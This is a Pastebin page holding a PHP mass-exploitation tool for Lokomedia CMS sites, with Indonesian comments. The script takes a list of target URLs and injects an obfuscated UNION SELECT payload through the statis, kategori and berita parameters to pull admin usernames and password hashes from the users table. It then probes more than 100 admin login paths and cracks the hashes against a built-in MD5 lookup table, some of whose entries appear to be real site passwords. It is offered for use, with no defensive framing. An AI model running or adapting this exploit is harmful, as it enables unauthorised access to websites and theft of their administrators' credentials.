API tools faq
paste
TanpaNama

Lokomedia (SQL Injection) + Auto Scan Admin Login

TanpaNama
Nov 30th, 2016
698
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.77 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4. // Lokomedia (SQL Injection) + Auto Scan Admin Login
  5. // enjoyyyy
  6. // Coded by Falc0nByte - INDONESIA
  7.  
  8. //HARAP TIDAK MENGGANTI COPYRIGHT JIKA KALIAN INGIN DIHARGAI ^^
  9.  
  10. function cover() {
  11.     echo "[ =========================================================================== ]<br>";
  12.     echo " --> Lokomedia (SQL Injection) + Auto Scan Admin Login <--<br>";
  13.     echo " ## Coded by Falc0nByte - INDONESIA ##<br>";
  14.     echo "[ =========================================================================== ]<br><br>";
  15. }
  16.  
  17. ?>
  18. <html>
  19. <head>
  20. <style type="text/css">
  21. textarea {
  22.     width: 500px;
  23.     height: 200px;
  24.     border: 1px solid #000000;
  25.     margin: 5px auto;
  26.     padding: 7px;
  27. }
  28. input[type=submit] {
  29.     width: 500px;
  30.     height: 25px;
  31.     border: 1px solid #000000;
  32.     background: transparent;
  33.     margin: 5px auto;
  34.     background: #000000;
  35.     color: #ffffff;
  36.     cursor: pointer;
  37. }
  38. </style>
  39. </head>
  40. <center>
  41. <?php cover(); ?>
  42. <form method="post">
  43. <textarea name="target" placeholder="http://www.target.com/" style="width: 500px; height: 250px;" required></textarea><br>
  44. <input type="submit" name="go" value="Hajaaaaar" style="width: 500px;">
  45. </form>
  46. </center>
  47. <?php
  48. function ngcurl($url) {
  49.     $curl = curl_init($url);
  50.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  51.     curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  52.     $content = curl_exec($curl);
  53.     curl_close($curl);
  54.     return $content;
  55. }
  56. $admin = array(
  57. 'adm/',
  58. '_adm_/',
  59. '_admin_/',
  60. '_administrator_/',
  61. 'operator/',
  62. 'sika/',
  63. 'develop/',
  64. 'ketua/',
  65. 'redaktur/',
  66. 'author',
  67. 'admin/',
  68. 'administrator/',
  69. 'adminweb/',
  70. 'user/',
  71. 'users/',
  72. 'dinkesadmin/',
  73. 'retel/',
  74. 'author/',
  75. 'panel/',
  76. 'paneladmin/',
  77. 'panellogin/',
  78. 'redaksi/',
  79. 'cp-admin/',
  80. 'master/',
  81. 'master/index.php',
  82. 'master/login.php',
  83. 'operator/index.php',
  84. 'sika/index.php',
  85. 'develop/index.php',
  86. 'ketua/index.php',
  87. 'redaktur/index.php',
  88. 'admin/index.php',
  89. 'administrator/index.php',
  90. 'adminweb/index.php',
  91. 'user/index.php',
  92. 'users/index.php',
  93. 'dinkesadmin/index.php',
  94. 'retel/index.php',
  95. 'author/index.php',
  96. 'panel/index.php',
  97. 'paneladmin/index.php',
  98. 'panellogin/index.php',
  99. 'redaksi/index.php',
  100. 'cp-admin/index.php',
  101. 'operator/login.php',
  102. 'sika/login.php',
  103. 'develop/login.php',
  104. 'ketua/login.php',
  105. 'redaktur/login.php',
  106. 'admin/login.php',
  107. 'administrator/login.php',
  108. 'adminweb/login.php',
  109. 'user/login.php',
  110. 'users/login.php',
  111. 'dinkesadmin/login.php',
  112. 'retel/login.php',
  113. 'author/login.php',
  114. 'panel/login.php',
  115. 'paneladmin/login.php',
  116. 'panellogin/login.php',
  117. 'redaksi/login.php',
  118. 'cp-admin/login.php',
  119. 'terasadmin/',
  120. 'terasadmin/index.php',
  121. 'terasadmin/login.php',
  122. 'rahasia/',
  123. 'rahasia/index.php',
  124. 'rahasia/admin.php',
  125. 'rahasia/login.php',
  126. 'dinkesadmin/',
  127. 'dinkesadmin/login.php',
  128. 'adminpmb/',
  129. 'adminpmb/index.php',
  130. 'adminpmb/login.php',
  131. 'system/',
  132. 'system/index.php',
  133. 'system/login.php',
  134. 'webadmin/',
  135. 'webadmin/index.php',
  136. 'webadmin/login.php',
  137. 'wpanel/',
  138. 'wpanel/index.php',
  139. 'wpanel/login.php',
  140. 'adminpanel/index.php',
  141. 'adminpanel/',
  142. 'adminpanel/login.php',
  143. 'adminkec/',
  144. 'adminkec/index.php',
  145. 'adminkec/login.php',
  146. 'admindesa/',
  147. 'admindesa/index.php',
  148. 'admindesa/login.php',
  149. 'adminkota/',
  150. 'adminkota/index.php',
  151. 'adminkota/login.php',
  152. 'admin123/',
  153. 'admin123/index.php',
  154. 'admin123/login.php',
  155. 'logout/',
  156. 'logout/index.php',
  157. 'logout/login.php',
  158. 'logout/admin.php',
  159. 'adminweb_setting',
  160. );
  161. $real_pass = array(
  162. "a66abb5684c45962d887564f08346e8d" => "admin123456",
  163. "99026ab4ab3de96f3d7ae33c8c85057b" => "master!@#$qwe",
  164. "c630643500720b255abb22e2ab2c31f6" => "sumedang123",
  165. "1c63129ae9db9c60c3e8aa94d3e00495" => "1qaz2wsx",
  166. "f243df64be7184fb0fc07bd6cf53185b" => "b1smillah",
  167. "93261ae77f0df5522dd9767203f3aa17" => "house69",
  168. "f243df64be7184fb0fc07bd6cf53185b" => "b1smillah",
  169. "37c77ada62ec68d1b740717fc886bef6" => "Suk4bum1",
  170. "d39b59b946b414c4e5926f9c7b23840a" => "kasitaugakya",
  171. "fbff29af096fa646757ce8439b644714" => "vro190588",
  172. "1feadc10e93f2b64c65868132f1e72d3" => "agoes",
  173. "0192023a7bbd73250516f069df18b500" => "admin123",
  174. "7aa1dfee8619ac8f282e296d83eb55ff" => "meong",
  175. "24fa5ee2c1285e115dd6b5fe1c25a333" => "773062",
  176. "d557fd4686821b5d8b927cdfe6e67d21" => "#admin#",
  177. "5fec4ba8376f207d1ff2f0cac0882b01" => "admin!@#",
  178. "a01726b559eeeb5fc287bf0098a22f6c" => "@dm1n",
  179. "73acd9a5972130b75066c82595a1fae3" => "ADMIN",
  180. "511f2efed0e465e700a951f2f1ecec19" => "bs1unt46",
  181. "7b7bc2512ee1fedcd76bdc68926d4f7b" => "Administrator",
  182. "99fedb09f0f5da90e577784e5f9fdc23" => "ADMINISTRATOR",
  183. "e58bfd635502ea963e1d52487ac2edfa" => "!@#123!@#123",
  184. "5449ccea16d1cc73990727cd835e45b5" => "ngadimin",
  185. "c21f969b5f03d33d43e04f8f136e7682" => "default",
  186. "1a1dc91c907325c69271ddf0c944bc72" => "pass",
  187. "fffdf0489f264598e9d35cba0381e9ac" => "sukmapts",
  188. "5f4dcc3b5aa765d61d8327deb882cf99" => "password",
  189. "5ebe2294ecd0e0f08eab7690d2a6ee69" => "secret",
  190. "c893bad68927b457dbed39460e6afd62" => "prueba",
  191. "b2ca9cfa6067282a031d28a54886822d" => "admin4343",
  192. "3a3795bb61d5377545b4f345ff223e3d" => "bingo",
  193. "e172dd95f4feb21412a692e73929961e" => "bismillah",
  194. "8221303fbf816fd9da96be7dd4c92f99" => "salawarhandap123",
  195. "0570e3795fbe97ddd3ce53be141d1aed" => "indoxploit",
  196. "098f6bcd4621d373cade4e832627b4f6" => "test",  
  197. "976adc43eaf39b180d9f2c624a1712cd" => "adminppcp",
  198. "5985609a2dc01098797c94a43e0a1115" => "masarief",
  199. "21232f297a57a5a743894a0e4a801fc3" => "admin",
  200. "1870a829d9bc69abf500eca6f00241fe" => "wordpress",
  201. "126ac9f6149081eb0e97c2e939eaad52" => "blog",
  202. "fe01ce2a7fbac8fafaed7c982a04e229" => "demo",
  203. "04e484000489dd3b3fb25f9aa65305c6" => "redaksi2016",
  204. "91f5167c34c400758115c2a6826ec2e3" => "administrador",
  205. "200ceb26807d6bf99fd6f4f0d1ca54d4" => "administrator",
  206. "c93ccd78b2076528346216b3b2f701e6" => "admin1234",
  207. "912ec803b2ce49e4a541068d495ab570" => "asdf",
  208. "1adbb3178591fd5bb0c248518f39bf6d" => "asdf1234",
  209. "e99a18c428cb38d5f260853678922e03" => "abc123",
  210. "a152e841783914146e4bcd4f39100686" => "asdfgh",
  211. "a384b6463fc216a5f8ecb6670f86456a" => "qwert",
  212. "d8578edf8458ce06fbc5bb76a58c5ca4" => "qwerty",
  213. "b59c67bf196a4758191e42f76670ceba" => "1111",
  214. "96e79218965eb72c92a549dd5a330112" => "111111",
  215. "4297f44b13955235245b2497399d7a93" => "123123",
  216. "c33367701511b4f6020ec61ded352059" => "654321",
  217. "81dc9bdb52d04dc20036dbd8313ed055" => "1234",
  218. "e10adc3949ba59abbe56e057f20f883e" => "123456",
  219. "fcea920f7412b5da7be0cf42b8c93759" => "1234567",
  220. "25d55ad283aa400af464c76d713c07ad" => "12345678",
  221. "25f9e794323b453885f5181f1b624d0b" => "123456789",
  222. "e807f1fcf82d132f9bb018ca6738a19f" => "1234567890",
  223. "befe9f8a14346e3e52c762f333395796" => "qawsed",
  224. "76419c58730d9f35de7ac538c2fd6737" => "qazwsx",
  225. "5f4dcc3b5aa765d61d8327deb882cf99" => "password",
  226. "bed128365216c019988915ed3add75fb" => "passw0rd",
  227. "21232f297a57a5a743894a0e4a801fc3" => "admin",
  228. "e10adc3949ba59abbe56e057f20f883e" => "123456",
  229. "5f4dcc3b5aa765d61d8327deb882cf99" => "password",
  230. "25d55ad283aa400af464c76d713c07ad" => "12345678",
  231. "f379eaf3c831b04de153469d1bec345e" => "666666",
  232. "96e79218965eb72c92a549dd5a330112" => "111111",
  233. "fcea920f7412b5da7be0cf42b8c93759" => "1234567",
  234. "d8578edf8458ce06fbc5bb76a58c5ca4" => "qwerty",
  235. "6f3cac6213ffceee27cc85414f458caa" => "siteadmin",
  236. "200ceb26807d6bf99fd6f4f0d1ca54d4" => "administrator",
  237. "63a9f0ea7bb98050796b649e85481845" => "root",
  238. "4297f44b13955235245b2497399d7a93" => "123123",
  239. "c8837b23ff8aaa8a2dde915473ce0991" => "123321",
  240. "e807f1fcf82d132f9bb018ca6738a19f" => "1234567890",
  241. "4ca7c5c27c2314eecc71f67501abb724" => "letmein123",
  242. "cc03e747a6afbbcbf8be7668acfebee5" => "test123",
  243. "62cc2d8b4bf2d8728120d052163a77df" => "demo123",
  244. "32250170a0dca92d53ec9624f336ca24" => "pass123",
  245. "46f94c8de14fb36680850768ff1b7f2a" => "123qwe",
  246. "200820e3227815ed1756a6b531e7e0d2" => "qwe123",
  247. "c33367701511b4f6020ec61ded352059" => "654321",
  248. "f74a10e1d6b2f32a47b8bcb53dac5345" => "loveyou",
  249. "172eee54aa664e9dd0536b063796e54e" => "adminadmin123",
  250. "e924e336dcc4126334c852eb8fadd334" => "waskita1234",
  251. "02631cc1d0cc5bda188566e90d0ae16c" => "rsamku2013",
  252. "b69cbef044eac6fc514a2988e62c5b30" => "unlock08804",
  253. "12e110a1b89da9b09a191f1f9b0a1398" => "nalaratih",
  254. "f70d32432ff0a8984b5aadeb159f9db6" => "Much240316",
  255. "a2fffa77aa0dde8cd4c416b5114eba21" => "gondola",
  256. "2b45af95ce316ea4cffd2ce4093a2b83" => "w4nd3szaki",
  257. "c5612a125d8613ddae79a6b36c8bee37" => "Reddevil#21",
  258. "6e7fbe8e6147e2c430ce7e8ab883e533" => "R4nd0m?!",
  259. "5136850b6c8f3ebc66122188347efda0" => "adminku",
  260. "5214905fbe8d7f0bb0d0a328f08af3f0" => "adminpust4k4",
  261. "acfc976c2d22e4a595a9ee6fc0d05f27" => "dikmen2016",
  262. "dcdee606657b5f7d8b218badfeb22a90" => "masputradmin",
  263. "ecb4208ee41389259a632d3a733c2786" => "741908",
  264. "827ccb0eea8a706c4c34a16891f84e7b" => "12345",
  265. "855be097acdf2fea4e342615a154ca3c" => "tolol",
  266. "eeee80342778e7b497d507f89094b10d" => "master10",
  267. "d29c0398602e6cf005f0dcb7a0443c7d" => "adminjalan",
  268. "9062756924cf10763cc89cf2793a77ab" => "pass4@nd1",
  269. "8b6bc5d8046c8466359d3ac43ce362ab" => "ganteng",
  270. "528d06a172eb2d8fab4e93f33f3986a8" => "jasindolive",
  271. "058fe7f85df1e992ef7bf948f1db7842" => "404J",
  272. "abe1f4492f922a9111317ed7f7f8e723" => "bantarjati5",
  273. );
  274. $sites = explode("\r\n", htmlspecialchars($_POST['target']));
  275. if(isset($_POST['go'])) {
  276.     foreach($sites as $url) {
  277.         if(!preg_match("/^http:\/\//", $url) AND !preg_match("/^https:\/\//", $url)) {
  278.             $url = "http://$url";
  279.         } else {
  280.             $url = $url;
  281.         }
  282.         $statis = "";
  283.         $sisa = "";
  284.         $login = "";
  285.         $param_list = array("statis","kategori","berita");
  286.         $curl = ngcurl($url);
  287.         $curl = str_replace("'", '"', $curl);
  288.         foreach($param_list as $param) {
  289.             preg_match_all("/$param-(.*?)\">/", $curl, $id);
  290.             foreach($id[1] as $stat) {
  291.                 $pecah = explode("-", $stat);
  292.                 $statis .= $pecah[0];
  293.                 $sisa .= $pecah[1];
  294.                 break;
  295.             }
  296.             foreach($admin as $adminweb) {
  297.                 $curl_admin = ngcurl("$url/$adminweb");
  298.                 if(preg_match("/administrator|username|password/i", $curl_admin) AND !preg_match("/not found|forbidden|404|403|500/i", $curl_admin)) {
  299.                     $login .= "$url/$adminweb";
  300.                     break;
  301.                 }
  302.             }
  303.             $sql = ngcurl("$url/$param-$statis'/*!50000UniON*/+/*!50000SeLeCT*/+/*!50000cOnCAt*/(0x696e646f78706c6f6974,0x3c6c693e,username,0x20,password,0x3c6c693e)+from+users--+---+-$sisa");
  304.             preg_match("/<meta name=\"description\" content=\"(.*?)\">/", $sql, $up);
  305.             preg_match("/<li>(.*)<li>/", $up[1], $akun);
  306.             $data = explode(" ", $akun[1]);
  307.             echo "[+] URL: $url\n";
  308.             //echo "[+] param: $param\n";
  309.             if(htmlspecialchars($curl) !== htmlspecialchars($sql)) {
  310.                 if(preg_match("/indoxploit/", $sql)) {
  311.                     //echo "[ Injection Successfully ]\n";
  312.                     if($data[0] == "" || $data[1] == "") {
  313.                         echo "[+] Not Injected :(\n\n";
  314.                         break;
  315.                     } else {
  316.                         echo "[+] username: ".$data[0]."\n";
  317.                         $passwd = $real_pass[$data[1]];
  318.                         if($passwd == "") {
  319.                             $passwd = $data[1];
  320.                             simpen($data[1]);
  321.                         }
  322.                         echo "[+] password: $passwd\n";
  323.                     }
  324.                     if($login == "") {
  325.                         echo "[+] Login Admin ga ketemu :(\n\n";
  326.                     } else {
  327.                         echo "[+] Login: $login\n\n";
  328.                     }
  329.                     break;
  330.                 } else {
  331.                     echo "[+] Not Injected :(\n\n";
  332.                     break;
  333.                 }
  334.             } else {
  335.                 echo "[+] Not Injected :(\n\n";
  336.                 break;
  337.             }
  338.         }
  339.     }
  340. }
  341. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!